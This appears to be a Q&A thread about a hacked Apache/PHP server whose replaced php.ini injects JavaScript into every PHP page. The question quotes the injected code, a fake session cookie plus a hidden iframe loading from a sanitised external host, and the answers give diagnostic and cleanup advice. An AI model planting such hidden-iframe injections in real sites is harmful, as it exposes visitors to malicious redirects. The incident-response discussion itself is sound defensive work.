Question: UPDATE: The server was rooted, php.ini was replaced that cause the injection to appear. Still haven't figured out which directive is injecting the javascript.

I'm troubleshooting a hacked website where a javascript is injected in every PHP file and only PHP. The injection only show up in IE also. I have experience with injection before but most of them were injected through FTP, and you can see them in the page itself. I'm not seeing any virus or malicious process on the server so far, and beginning to think either the PHP interpreter or Apache was hacked somehow. Has anyone seen this before or know where I should look? The injection is below,

```
<script type="text/javascript">
        d=new Date();
        d.setDate(d.getDate()+1);
        document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
      </script><style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://SANITISEDURL.net/ad.jpg?2"></iframe>

```

This happens to all website on the server, even with PHP file that only has a simple echo. .htaccess looks clean for all of them. 
Server running PHP 5.2.17 and Apache 2.2.17.

Answer: 
open a shell and run php from there (maybe a simple hello world) and see what comes out. if it outputs the injected code, you know what to fix.

**EDIT 1:**  

have not seen this before. i did some google queries on that before hand, the result is kinda small, but most of those results linked to pages where i got a security alert from avira: object <<< JS/Redirector.LC ; virus ; Contains detection pattern of the Java script virus JS/Redirector.LC
It may not be a good use of your time to try to work out exactly how the malicious stuff on your site works. It's hard to be confident you've found it all.

Instead, the standard advice is to reformat and re-install from trusted backups that date back before the intrusion. There is a lot more to be said about this. Rather than repeating what others have written, I will direct you to the question ["what to do after suspected intrusion on hobby webserver"](https://security.stackexchange.com/q/2939/971), which covers this topic pretty well.